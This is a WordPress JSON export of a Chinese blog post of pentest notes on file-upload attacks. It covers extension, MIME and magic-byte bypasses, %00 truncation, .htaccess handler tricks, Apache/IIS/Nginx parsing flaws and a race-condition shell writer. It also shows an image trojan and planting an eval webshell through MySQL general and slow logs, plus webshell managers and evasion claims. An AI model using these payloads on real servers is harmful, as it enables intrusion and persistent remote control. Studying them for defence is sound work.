{"id":37,"date":"2023-03-01T23:31:19","date_gmt":"2023-03-01T15:31:19","guid":{"rendered":"http:\/\/123.207.45.199\/?p=37"},"modified":"2026-05-31T21:59:16","modified_gmt":"2026-05-31T13:59:16","slug":"%e6%96%87%e4%bb%b6%e4%b8%8a%e4%bc%a0","status":"publish","type":"post","link":"https:\/\/www.redspear.cn\/index.php\/2023\/03\/01\/%e6%96%87%e4%bb%b6%e4%b8%8a%e4%bc%a0\/","title":{"rendered":"\u6587\u4ef6\u4e0a\u4f20"},"content":{"rendered":"\n
 windows\u6587\u4ef6\u547d\u540d\u7684\u7279\u6027<\/pre>\n\n\n\n
. \u7a7a\u683c \u4f1a\u81ea\u52a8\u8fc7\u6ee4 ::$DATA \u76f8\u5f53\u4e8e\u7a7a\u683c<\/p>\n\n\n\n
php\u7279\u6027: <=5.3.4\u4ee5\u4e0b\u7684\u7248\u672c\u4e14gpc\u672a\u5f00\u542f\u53ef\u4ee5\u4f7f\u7528%00\u622a\u65ad 16\u8fdb\u5236(0x00) \\c\u7ec8\u6b62\u7684\u610f\u601d<\/p>\n\n\n\n
%00 ==> 0x00 ==> \\c<\/p>\n\n\n\n
\u539f\u7406<\/h2>\n\n\n\n
\u6f0f\u6d1e\u539f\u7406\uff1a
\u5927\u90e8\u5206\u7684\u7f51\u7ad9\u548c\u5e94\u7528\u7cfb\u7edf\u90fd\u6709\u4e0a\u4f20\u529f\u80fd\uff0c\u800c\u7a0b\u5e8f\u5458\u5728\u5f00\u53d1\u6587\u4ef6\u4e0a\u4f20\u529f\u80fd\u65f6\uff0c\u5e76\u672a\u8003\u8651\u6587\u4ef6\u683c\u5f0f\u540e\u7f00\u7684\u5408\u6cd5\u6027\u6821\u9a8c\u6216\u8005\u53ea\u5728\u524d\u7aef\u901a\u8fc7js\u8fdb\u884c\u540e\u7f00\u68c0\u9a8c\u3002\u8fd9\u65f6\u653b\u51fb\u8005\u53ef\u4ee5\u4e0a\u4f20\u4e00\u4e2a\u4e0e\u7f51\u7ad9\u811a\u672c\u8bed\u8a00\u76f8\u5bf9\u5e94\u7684\u6076\u610f\u4ee3\u7801\u52a8\u6001\u811a\u672c\uff0c\u4f8b\u5982(jsp\u3001asp\u3001php\u3001aspx\u6587\u4ef6\u540e\u7f00)\u5230\u670d\u52a1\u5668\u4e0a\uff0c\u4ece\u800c\u8bbf\u95ee\u8fd9\u4e9b\u6076\u610f\u811a\u672c\u4e2d\u5305\u542b\u7684\u6076\u610f\u4ee3\u7801\uff0c\u8fdb\u884c\u52a8\u6001\u89e3\u6790\u6700\u7ec8\u8fbe\u5230\u6267\u884c\u6076\u610f\u4ee3\u7801\u7684\u6548\u679c\uff0c\u8fdb\u4e00\u6b65\u5f71\u54cd\u670d\u52a1\u5668\u5b89\u5168\u3002<\/pre>\n\n\n\n
\u5982\u4f55\u5feb\u901f\u5224\u65ad\u662f\u767d\u540d\u5355\u8fd8\u662f\u9ed1\u540d\u5355?<\/p>\n\n\n\n
\u4e0a\u4f20\u4e00\u4e2a\u968f\u673a\u7684\u6587\u4ef6\u540e\u7f00\u540d 1.xxx \u770b\u8fd4\u56de\u4fe1\u606f<\/p>\n\n\n\n
\u8f7b\u91cf\u7ea7\u7684\u68c0\u6d4b\u7ed5\u8fc7\u653b\u51fb<\/h2>\n\n\n\n
\u7ed5\u8fc7javascript\u5bf9\u540e\u7f00\u540d\u7684\u68c0\u6d4b =>\u524d\u7aef
\u7ed5\u8fc7\u670d\u52a1\u7aefhttp requst\u5305MIME\u7c7b\u578b\u7684\u68c0\u6d4b  =>\u540e\u7aef
\u7ed5\u8fc7\u6587\u4ef6\u5185\u5bb9\u5e7b\u672f\u5934\u7684\u68c0\u6d4b    =>\u540e\u7aef<\/pre>\n\n\n\n
\u9ed1\u540d\u5355\u7ed5\u8fc7<\/h2>\n\n\n\n
\u6587\u4ef6\u540d\u5927\u5c0f\u5199\u7ed5\u8fc7
mine\u6587\u4ef6\u7c7b\u578b\u7ed5\u8fc7
\u7279\u6b8a\u6587\u4ef6\u540d\u7ed5\u8fc7
0x00\u622a\u65ad\u7ed5\u8fc7
.htaccess\u6587\u4ef6\u653b\u51fb
Apache\u89e3\u6790\u6f0f\u6d1e
IIS\u89e3\u6790\u6f0f\u6d1e
Nginx\u89e3\u6790\u6f0f\u6d1e
\u591a\u6587\u4ef6\u4e0a\u4f20 =>\u6761\u4ef6\u7ade\u4e89
\u7ba1\u7406\u5458\u9519\u8bef\u914d\u7f6e\u5bfc\u81f4\u67d0\u4e9b\u5176\u4ed6\u683c\u5f0f\u4ee5\u811a\u672c\u65b9\u5f0f\u6267\u884c<\/pre>\n\n\n\n
\u767d\u540d\u5355\u7ed5\u8fc7<\/h2>\n\n\n\n
\u6587\u4ef6\u540d\u540e\u7f000x00\u622a\u65ad\u7ed5\u8fc7
PHP\u6587\u4ef6\u5305\u542b\u6f0f\u6da7
IIS\u89e3\u6790\u6f0f\u6d1e
Nginx\u89e3\u6790\u6f0f\u6d1e
Put\u534f\u8bae\u4e0a\u4f20 =>\u6842\u6797\u8001\u5175 RESTClient<\/pre>\n\n\n\n
0x00\u622a\u65ad\u7ed5\u8fc7<\/h3>\n\n\n\n
\u6587\u4ef6\u540d\u540e\u7f00\u5c31\u4e00\u4e2a%00\u5b57\u8282\uff0c\u53ef\u4ee5\u622a\u65ad\u67d0\u4e9b\u51fd\u6570\u5bf9\u6587\u4ef6\u540d\u7684\u5224\u65ad\u3002\u5728\u8bb8\u591a\u8bed\u8a00\u51fd\u6570\u4e2d\uff0c\u5904\u7406\u5b57\u7b26\u4e32\u7684\u51fd\u6570\u4e2d0x00\u88ab\u8ba4\u4e3a\u662f\u7ec8\u6b62\u7b26\u3002
\u200b
\u4f8b\u5982\uff1a
\u7f51\u7ad9\u4e0a\u4f20\u51fd\u6570\u5904\u7406xxX.php%00.jpg\u65f6\uff0c\u9996\u5148\u540e\u7f00\u540d\u662f\u5408\u6cd5\u7684jpg\u683c\u5f0f\uff0c\u53ef\u4ee5\u4e0a\u4f20\uff0c\u5728\u4fdd\u5b58\u6587\u4ef6\u65f6\uff0c\u9047\u5230%00\u5b57\u7b26\u4e22\u5f03\u540e\u9762\u7684jpg,\u6587\u4ef6\u540e\u7f00\u6700\u7ec8\u4fdd\u5b58\u7684\u540e\u7f00\u540d\u4e3axxX.php
php\u7248\u672c<5.3.4\u4e14php\u7684\u53c2\u6570magic_quotes_gpc\u5fc5\u987b\u5173\u95ed\uff0cphpstudy\u9ed8\u8ba4\u5f00\u542f\u8fd9
\u4e2a\u529f\u80fd\uff0c\u9700\u8981\u5173\u95ed.<\/pre>\n\n\n\n
.htaccess\u7ed5\u8fc7<\/h3>\n\n\n\n
\u4efb\u4f55\u7248\u672c\u7686\u53ef\u4f7f\u7528<\/p>\n\n\n\n
\u5229\u7528\u524d\u63d0:<\/p>\n\n\n\n
httpd.conf\u4e2d<\/p>\n\n\n\n
Allow Override ALL<\/p>\n\n\n\n
LoadModule rewrite_module modules\/mod_rewrite.so<\/p>\n\n\n\n
1.\u4e0a\u4f20\u4e00\u4e2a\u5e26\u6709\u4ee5\u4e0b\u5185\u5bb9\u7684.htaccess\u6587\u4ef6
<FilesMatch \u201c\u6587\u4ef6\u540d\u201d>
SetHandler application\/x-httpd-php
<\/FilesMatch>
\u200b
2.\u4e0a\u4f20\u4e00\u4e2a\u5141\u8bb8\u4e0a\u4f20\u7684\u6587\u4ef6   \u5982 \u6587\u4ef6\u540d.jpg
\u5982\u6b64\u8bbf\u95ee\u8be5\u6587\u4ef6\u65f6\u4f1a\u4ee5php\u5f62\u5f0f\u89e3\u6790
\u200b
htaccess\u6587\u4ef6\u4e2d\u7684\u6587\u4ef6\u540d\u9700\u4e0e\u4e0a\u4f20\u7684\u6587\u4ef6\u540d\u76f8\u540c   <\/pre>\n\n\n\n
\u5982\u4f55\u9632\u5fa1<\/h2>\n\n\n\n
\u8bbe\u7f6e\u767d\u540d\u5355
gpc<\/pre>\n\n\n\n
\u5173\u4e8e\u6f0f\u6d1e<\/h2>\n\n\n\n
Apache\u89e3\u6790\u6f0f\u6d1e*<\/h3>\n\n\n\n
\u4efb\u610f\u7248\u672c\u90fd\u5b58\u5728<\/p>\n\n\n\n
\u4efb\u610f\u4e0d\u5c5e\u4e8e\u9ed1\u540d\u5355\u4e14\u4e0d\u5c5e\u4e8eApache\u89e3\u6790\u767d\u540d\u5355\u4e4b\u5185\u7684\u540e\u7f00\u540d\u3002\n\u89e3\u6790\u662f\u4ece\u53f3\u5230\u5de6 \u76f4\u5230\u9047\u89c1\u53ef\u4ee5\u89e3\u6790\u7684\u6587\u4ef6\u540d\u540e\u7f00\n\u4f8b: apache.php.xxx.xxx<\/pre>\n\n\n\n
IIS\u89e3\u6790\u6f0f\u6d1e<\/h3>\n\n\n\n
IIS6.0\u5728\u89e3\u6790asp\u683c\u5f0f\u7684\u65f6\u5019\u6709\u4e24\u4e2a\u89e3\u6790\u6f0f\u6d1e.\n1.\u4e00\u4e2a\u662f\u5982\u679c\u76ee\u5f55\u540d\u4ee5\".asp\u3001.asa\u3001.cer\u3001.cdx\"\u5b57\u7b26\u4e32\u7ed3\u5c3e\uff0c\u90a3\u4e48\u8fd9\u4e2a\u76ee\u5f55\u4e0b\u6240\u6709\u7684\u6587\u4ef6\u90fd\u4f1a\u6309\u7167asp\u683c\u5f0f\u53bb\u89e3\u6790\u3002\neg:\u201ctest.asp\/1.jpg\u201d\n\n2.\u53e6\u4e00\u4e2a\u662f\u53ea\u8981\u6587\u4ef6\u540d\u4e2d\u542b\u6709\u201d.asp\u3001.asa\u3001.cer\u3001.cdx \u4f1a\u4f18\u5148\u6309asp\u6765\u89e3\u6790\neg:\u201c1.asp;.jpg\u201d\n\n\nIIS7.0\/7.5\t\u7578\u5f62\u89e3\u6790\u6f0f\u6d1e\t\n\u662f\u5bf9php\u89e3\u6790\u65f6\u6709\u4e00\u4e2a\u7c7b\u4f3c\u4e8eNginx\u7684\u89e3\u6790\u6f0f\u6d1e\uff0c\u5bf9\u4efb\u610f\u6587\u4ef6\u540d\u53ea\u8981\u5728URL\u540e\u9762\n\u8ffd\u52a0\u4e0a\u5b57\u7b26\u4e32\"\/\u4efb\u610f\u6587\u4ef6\u540d.php\",\u5c31\u4f1a\u6309\u7167php\u7684\u65b9\u5f0f\u53bb\u89e3\u6790\neg:http:\/\/www.target.com\/upload\/1.jpg\/ladf.php\"<\/pre>\n\n\n\n
Nginx\u89e3\u6790\u6f0f\u6d1e<\/h3>\n\n\n\n
Nginx<8.0.3\t\u7578\u5f62\u89e3\u6790\u6f0f\u6d1e\n\u4efb\u610f\u6587\u4ef6\u540d\/\u4efb\u610f\u6587\u4ef6\u540d.php   \n\u4e3e\u4f8b\uff1a\n\u76ee\u524dNginx\u4e3b\u8981\u6709\u8fd9\u4e24\u79cd\u6f0f\u6d1e\uff1a\n\u4e00\u4e2a\u662f\u5bf9\u4efb\u610f\u6587\u4ef6\u540d\uff0c\u5728\u540e\u9762\u6dfb\u52a0\/\u4efb\u610f\u6587\u4ef6\u540d.php\u7684\u89e3\u6790\u6f0f\u6d1e\uff0c\u6bd4\u5982\u539f\u672c\u6587\u4ef6\u540d\u662f\ntest.jpg,\u53ef\u4ee5\u6dfb\u52a0\u4e3atest.jpg\/x.php\u8fdb\u884c\u89e3\u6790\u653b\u51fb\u3002\n\n\u4e00\u79cd\u662f\u5bf9\u4f4e\u7248\u672c\u7684Nginx\u53ef\u4ee5\u5728\u4efb\u610f\u6587\u4ef6\u540d\u540e\u9762\u6dfb\u52a0%00.php\u8fdb\u884c\u89e3\u6790\u653b\u51fb\u3002\nNginx 0.5.*\nNginx 0.6.*\nNginx0.7<=0.7.65\nNginx0.8<=0.8.37\n\n\u4ee5\u4e0aNginx\u5bb9\u5668\u7684\u7248\u672c\u4e0b\uff0c\u4e0a\u4f20\u4e00\u4e2a\u5728waf\u767d\u540d\u5355\u4e4b\u5185\u6269\u5c55\u540d\u7684\u6587\u4ef61.jpg,\u7136\u540e\u4ee51.jpg%00.php\u8fdb\u884c\u8bf7\u6c42\u3002\/linux\u7cfb\u7edf\u4e0b\u75281.jpg%20%00.php\u8fdb\u884c\u8bf7\u6c42<\/pre>\n\n\n\n
\u6761\u4ef6\u7ade\u4e89\u6f0f\u6d1e<\/h3>\n\n\n\n
\u9488\u5bf9\u4e0a\u4f20\u540e\u518d\u68c0\u9a8c<\/p>\n\n\n\n
1.\u4e0a\u4f20\u7684\u6587\u4ef6\u5728\"0.001\u79d2\"\u5185\u4f1a\u8fdb\u884c\u5220\u9664\uff08\u540e\u7f00\u4e0d\u5728\u6570\u7ec4\u4e2d\u7684\u60c5\u51b5\u4e0b\uff09\n2.\u9700\u8981\u5199\u4e00\u4e2a\u4ee3\u7801\uff0c\u53ea\u8981\u8bbf\u95ee\u4e86\u8fd9\u4e2a\u6587\u4ef6\u5c31\u53ef\u4ee5\u5e2e\u6211\u4eec\u5199\u4e00\u4e2a\u6728\u9a6c\u6587\u4ef6\u8fdb\u53bb\n\u6bd4\u5982:<?php\nfile_put_contents('shell.php','<?php phpinfo();?>');\n3.\u4e0d\u505c\u7684\u4e0a\u4f20\u6587\u4ef6\uff0c\u4ee5\u53ca\u4e0d\u505c\u7684\u8bbf\u95ee\u6587\u4ef6\n4.\u6253\u5f00BP\u5f00\u59cb\u6d4b\u8bd5<\/pre>\n\n\n\n
put\u6f0f\u6d1e<\/h3>\n\n\n\n
\u6842\u6797\u8001\u5175\/RESTClient<\/p>\n\n\n\n
OPTIONS\u65b9\u6cd5\t\u67e5\u770b\u670d\u52a1\u5668\u4fe1\u606f\u3002\t\u7531URL\u6807\u8bc6\u7684\u8d44\u6e90\u5728\u8bf7\u6c42\/\u54cd\u5e94\u7684\u901a\u4fe1\u8fc7\u7a0b\u4e2d\u53ef\u4ee5\u4f7f\u7528\u7684\u529f\u80fd\u9009\u9879\nPUT\u65b9\u6cd5\t\u8ddfa\u6a21\u5f0f\u76f8\u4f3c\t\u8bf7\u6c42\u670d\u52a1\u5668\u628a\u8bf7\u6c42\u4e2d\u7684\u5b9e\u4f53\u50a8\u5b58\u5728\u8bf7\u6c42\u8d44\u6e90\u4e0b\nCOPY\u548cMOVE\uff0c\u4e5f\u5c31\u662f\u590d\u5236\u548c\u79fb\u52a8\n\nPUT\u53ef\u4ee5\u76f4\u63a5\u4ece\u5ba2\u6237\u673a\u4e0a\u4f20\u6587\u4ef6\u5230\u670d\u52a1\u5668\u3002\u5982\u679c\u95f4\u63a5\u5f00\u653e\u4e86HTTP\u4e2d\u7684PUT\u65b9\u6cd5\uff0c\u90a3\u4e48\u6076\u610f\u653b\u51fb\u8005\u5c31\u53ef\u4ee5\u76f4\u63a5\u4e0a\u4f20webshell\u5230\u670d\u52a1\u5668\u5bf9\u5e94\u7684\u76ee\u5f55\u3002\n\n1.\u4f7f\u7528options\u67e5\u770b\u53ef\u4ee5\u4f7f\u7528\u7684\u529f\u80fd\u9009\u9879\t\t--\u6709put\n2.\u901a\u8fc7put\u4e0a\u4f20\u6728\u9a6c\t\t\t--put\u901a\u8fc7httpd.conf \u5f00\u542f\u6a21\u5757\n3.\u8bbf\u95ee\u6728\u9a6c\n4.\u4e2d\u56fd\u8681\u5251\u8fde\u63a5<\/pre>\n\n\n\n
\nhttps:\/\/www.shuzhiduo.com\/A\/amd0EykWzg\n<\/div><\/figure>\n\n\n\n
\nhttps:\/\/blog.csdn.net\/m0_64378913\/article\/details\/124898019\n<\/div><\/figure>\n\n\n\n
\nhttps:\/\/blog.csdn.net\/m0_63127854\/article\/details\/126682845\n<\/div><\/figure>\n\n\n\n
\u7f16\u8f91\u5668\u6f0f\u6d1e<\/h3>\n\n\n\n
\u5e38\u89c1\u7684\u7f16\u8f91\u5668\u6709Ewebeditor  fckeditor  CKeditor kindeditor\nfckeditor \u4e3a\u4f8b\n1.\u5148\u8bbf\u95ee\u8fd9\u4e2a\u9875\u9762\u67e5\u770b\u7f16\u8f91\u5668\u7248\u672c\/_whatsnew.html\n2.\u901a\u8fc7\u7248\u672c\u786e\u5b9a\u4e0a\u4f20\u5730\u5740\n3.\u7ed5\u8fc7\u8fc7\u6ee4\u4e0a\u4f20\u6728\u9a6c\n3.\u8bbf\u95ee\u6728\u9a6c<\/pre>\n\n\n\n
\nhttps:\/\/www.jianshu.com\/p\/7fc588c0c7d7\n<\/div><\/figure>\n\n\n\n
\u670d\u52a1\u7aef\u6587\u4ef6\u5185\u5bb9\u6269\u5c55\u68c0\u6d4b<\/h3>\n\n\n\n
\u5982\u679c\u6587\u4ef6\u5185\u5bb9\u68c0\u6d4b\u8bbe\u7f6e\u5f97\u6bd4\u8f83\u4e25\u683c\uff0c\u90a3\u4e48\u4e0a\u4f20\u653b\u51fb\u5c06\u53d8\u5f97\u975e\u5e38\u56f0\u96be\u3002\u4e5f\u53ef\u4ee5\u8bf4\u5b83\u662f\u5728\u4ee3\u7801\u5c42\u68c0\u6d4b\u7684\u6700\u540e\u4e00\u9053\u5173\u5361\u3002\u5982\u679c\u5b83\u88ab\u7a81\u7834\u4e86\uff0c\u5c31\u7b97\u4ee3\u7801\u5c42\u7684\u6f0f\u6d1e\uff0c\u4e5f\u53ef\u4ee5\u7ed3\u5408\u89e3\u6790\u6f0f\u6d1e\u8fdb\u884c\u653b\u51fb\u3002\n1.\u6587\u4ef6\u5e7b\u6570\u68c0\u6d4bjpg(JFIF)gif(GIF89a)png(%PNG)\n2.\u6587\u4ef6\u76f8\u5173\u4fe1\u606f\u68c0\u6d4b\uff08\u6587\u4ef6\u5934\u52a0\u4e00\u4e9b\u56fe\u7247\u4fe1\u606f\u4e2d\u95f4\u5939\u6742\u653b\u51fb\u4ee3\u7801\uff09\n3.\u6587\u4ef6\u52a0\u8f7d\u68c0\u6d4b\uff08\u8c03\u7528API\u6216\u8005\u51fd\u6570\u8fdb\u884c\u6587\u4ef6\u52a0\u8f7d\u6d4b\u8bd5 php\u7684gd\u5e93\uff09<\/pre>\n\n\n\n
\u5236\u4f5c\u56fe\u7247\u9a6c<\/h3>\n\n\n\n
copy \/b  \u56fe\u7247\u540d+\u6728\u9a6c\u6587\u4ef6=\u65b0\u56fe\u7247\u540d<\/pre>\n\n\n\n\n\n
\u8865\u5145:http \u6700\u5927\u7684\u4f5c\u7528\u5c31\u662f\u786e\u5b9a\u4e86\u8bf7\u6c42\u548c\u54cd\u5e94\u6570\u636e\u7684\u683c\u5f0f\u3002\u5e38\u89c1\u7684\u8bf7\u6c42\u65b9\u5f0f\uff1a<\/p>\n\n\n\n
    \n
  • get \u65b9\u6cd5 \u53d1\u9001\u4e00\u4e2a\u8bf7\u6c42\u6765\u53d6\u5f97\u670d\u52a1\u5668\u4e0a\u7684\u67d0\u4e00\u8d44\u6e90\u3002<\/li>\n\n\n\n
  • post \u65b9\u6cd5 \u5411 url<\/code> \u6307\u5b9a\u7684\u8d44\u6e90\u63d0\u4ea4\u6570\u636e\u6216\u9644\u52a0\u65b0\u7684\u6570\u636e\u3002<\/li>\n\n\n\n
  • put \u65b9\u6cd5 put<\/code> \u65b9\u6cd5\u8ddf post<\/code> \u65b9\u6cd5\u5f88\u50cf\uff0c\u4e5f\u662f\u5411\u670d\u52a1\u5668\u63d0\u4ea4\u6570\u636e\uff0c\u4f46\u662f put<\/code> \u65b9\u6cd5\u6307\u5411\u4e86\u8d44\u6e90\u5728\u670d\u52a1\u5668\u4e0a\u7684\u4f4d\u7f6e\uff0c\u800c post<\/code> \u65b9\u6cd5\u6ca1\u6709\u3002<\/li>\n\n\n\n
  • head \u65b9\u6cd5 \u53ea\u8bf7\u6c42\u9875\u9762\u7684\u9996\u90e8\u3002<\/li>\n\n\n\n
  • delete \u65b9\u6cd5 \u5220\u9664\u670d\u52a1\u5668\u4e0a\u7684\u67d0\u8d44\u6e90\u3002<\/li>\n\n\n\n
  • options \u65b9\u6cd5 options<\/code> \u65b9\u6cd5\u7528\u4e8e\u83b7\u53d6\u5f53\u524d url<\/code> \u6240\u652f\u6301\u7684\u65b9\u6cd5\u3002\u5982\u679c\u8bf7\u6c42\u6210\u529f\uff0c\u4f1a\u6709\u4e00\u4e2a allow<\/code> \u7684\u5934\u5305\u542b\u7c7b\u4f3c get<\/code>\u3001post<\/code> \u8fd9\u6837\u7684\u4fe1\u606f\u3002<\/li>\n\n\n\n
  • trace \u65b9\u6cd5 trace<\/code> \u65b9\u6cd5\u88ab\u7528\u4e8e\u6fc0\u53d1\u4e00\u4e2a\u8fdc\u7a0b\u7684\uff0c\u5e94\u7528\u5c42\u7684\u8bf7\u6c42\u6d88\u606f\u56de\u8def\u3002<\/li>\n\n\n\n
  • connect \u65b9\u6cd5 \u628a\u8bf7\u6c42\u8fde\u63a5\u8f6c\u6362\u5230\u900f\u660e\u7684 tcp\/ip<\/code> \u901a\u9053\u3002<\/li>\n<\/ul>\n\n\n\n
    \u8865\u5145:<\/p>\n\n\n\n
    webshell\u7ba1\u7406\u5668=>\u9488\u5bf9\u7f51\u7ad9<\/p>\n\n\n\n
    \u8ba1\u7b97\u673a\u6728\u9a6c\u7ba1\u7406\u5668<\/p>\n\n\n\n
    \u6728\u9a6c\u6743\u9650\u9ad8 \u66f4\u4e0d\u5bb9\u6613\u89e6\u53d1\u8b66\u544a<\/p>\n\n\n\n
    \u5bb9\u6613\u63d0\u6743 \u505a\u597d\u514d\u6740\u57fa\u672c\u53ef\u4ee5\u4fdd\u63015\u5e74\u5185\u4e0d\u88ab\u6e05\u9664<\/p>\n\n\n\n
    \u4e2d\u56fd\u83dc\u5200 \u4e2d\u56fd\u8681\u5251 base64<\/p>\n\n\n\n
    \u52a8\u6001\u4e8c\u8fdb\u5236\u52a0\u5bc6<\/p>\n\n\n\n
    \u51b0\u874e(\u6d41\u91cf\u52a0\u5bc6)<\/p>\n\n\n\n
    \u54e5\u65af\u62c9<\/p>\n\n\n\n
    \u75c5\u6bd2\u662f\u7834\u574f\uff08\u81ea\u4e3b\u64cd\u63a7\u6743\uff09=> \u6316\u77ff\u75c5\u6bd2 => 1.\u68c0\u6d4b\u5bbf\u4e3b\u673a\u7684\u663e\u5361\u662f\u5426\u7b26\u5408\u8981\u6c42 =>\u7b26\u5408\u8981\u6c42\uff08\u91ca\u653e\u75c5\u6bd2\u8fdb\u884c\u6316\u77ff\uff0c\u6dfb\u52a0\u8ba1\u5212\u4efb\u52a1\uff0c\u81ea\u542f\u52a8\uff0c\u7ed1\u5b9a\u6587\u4ef6\u5f62\u6210\u4e0d\u6b7b\u8fdb\u7a0b\uff09=>\u5220\u9664\u6bcd\u4f53<\/p>\n\n\n\n
    =>\u4e0d\u7b26\u5408\u8981\u6c42=>\u5220\u9664\u6bcd\u4f53<\/p>\n\n\n\n
    \u6728\u9a6c(\u4e0d\u5177\u4e3b\u52a8\u6027 \u63a7\u5236\u7aef=>\u88ab\u63a7\u7aef)<\/p>\n\n\n\n
    \u63a7\u5236\u7aef=>\u751f\u6210\u6728\u9a6c=>\u6295\u653e\u5230\u5bbf\u4e3b\u673a=>\u8fdc\u7a0b\u63a7\u5236<\/p>\n\n\n\n
    \u7279\u6d1b\u4f0a\u6728\u9a6c =>\u4f2a\u88c5 =>\u8bf1\u60d1<\/p>\n\n\n\n
    \u8865\u5145:<\/p>\n\n\n\n
    \nhttps:\/\/blog.csdn.net\/Redredredfish\/article\/details\/119864263\n<\/div><\/figure>\n\n\n\n
    Q:\u5199\u6728\u9a6c\u51fd\u6570\u88ab\u7981\u7528\u65f6\u8be5\u5982\u4f55\u505a?(file_put_contents fputs fwrite)<\/p>\n\n\n\n
    A:\u5168\u5c40\u65e5\u5fd7\u5199\u5165shell<\/p>\n\n\n\n
    \u67e5\u8be2\u90fd\u4f1a\u5199\u5165\u65e5\u5fd7<\/p>\n\n\n\n
    1.\u627e\u5230phpMyAdmin\u767b\u5f55\u540e\u53f0,\u767b\u5f55.<\/p>\n\n\n\n
    2.show variables like ‘%general%’; \u67e5\u770b\u5168\u5c40\u65e5\u5fd7\u662f\u5426\u5f00\u542f<\/p>\n\n\n\n
    3.\u5f00\u542f\u5168\u5c40\u65e5\u5fd7 set global general_log = on; \u5c06\u5168\u5c40\u65e5\u5fd7\u8def\u5f84\u8bbe\u7f6e\u4e3ashell\u6587\u4ef6\u8def\u5f84 =>\u7edd\u5bf9\u8def\u5f84 set global general_log_file = ‘C:\/phpStudy\/PHPTutorial\/WWW\/shell.php’;<\/p>\n\n\n\n
    4.\u65b0\u5efa\u67e5\u8be2<\/p>\n\n\n\n
    select ‘<?php @eval($_POST[1]);?>’;<\/p>\n\n\n\n
    A:\u6162\u65e5\u5fd7\u5199\u5165shell (\u8865:\u6162\u65e5\u5fd7\u8c03\u7528\u4e00\u6b21\u4e4b\u540e\u53c8\u5f97)<\/p>\n\n\n\n
    \u5f53\u67e5\u8be2\u65f6\u95f4\u8d85\u8fc7\u5ef6\u65f6\u65f6\u95f4\u4f1a\u5199\u5165\u65e5\u5fd7<\/p>\n\n\n\n
    1.\u627e\u5230phpMyAdmin\u767b\u5f55\u540e\u53f0,\u767b\u5f55.<\/p>\n\n\n\n
    2.show variables like ‘%slow_query_log%’; \u67e5\u770b\u6162\u65e5\u5fd7\u662f\u5426\u5f00\u542f<\/p>\n\n\n\n
    3.show global variables like ‘%long_query_time%’; \u67e5\u770b\u5ef6\u65f6\u65f6\u95f4<\/p>\n\n\n\n
    3.\u5f00\u542f\u6162\u65e5\u5fd7<\/p>\n\n\n\n
    set global slow_query_log=on;<\/p>\n\n\n\n
    \u5c06\u6162\u65e5\u5fd7\u8def\u5f84\u8bbe\u7f6e\u4e3ashell\u6587\u4ef6\u8def\u5f84 =>\u7edd\u5bf9\u8def\u5f84<\/p>\n\n\n\n
    set global slow_query_log_file=”C:\/phpStudy\/PHPTutorial\/WWW\/shell.php”<\/p>\n\n\n\n
    4.\u65b0\u5efa\u67e5\u8be2 \u540e\u9762\u52a0or sleep(11) \u8981\u6bd4\u524d\u9762\u67e5\u8be2\u7684\u5ef6\u65f6\u65f6\u95f4\u957f<\/p>\n\n\n\n
    select ‘<?php phpinfo();?>’ or sleep( 11 )<\/p>\n","protected":false},"excerpt":{"rendered":"
    windows\u6587\u4ef6\u547d\u540d\u7684\u7279\u6027 . \u7a7a\u683c \u4f1a\u81ea\u52a8\u8fc7\u6ee4 ::$DATA \u76f8\u5f53\u4e8e\u7a7a\u683c php\u7279\u6027: <=5.3 … <\/p>\n","protected":false},"author":3,"featured_media":29,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-37","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-webtob10"],"_links":{"self":[{"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/posts\/37","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/comments?post=37"}],"version-history":[{"count":1,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/posts\/37\/revisions"}],"predecessor-version":[{"id":38,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/posts\/37\/revisions\/38"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/media\/29"}],"wp:attachment":[{"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/media?parent=37"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/categories?post=37"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/tags?post=37"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}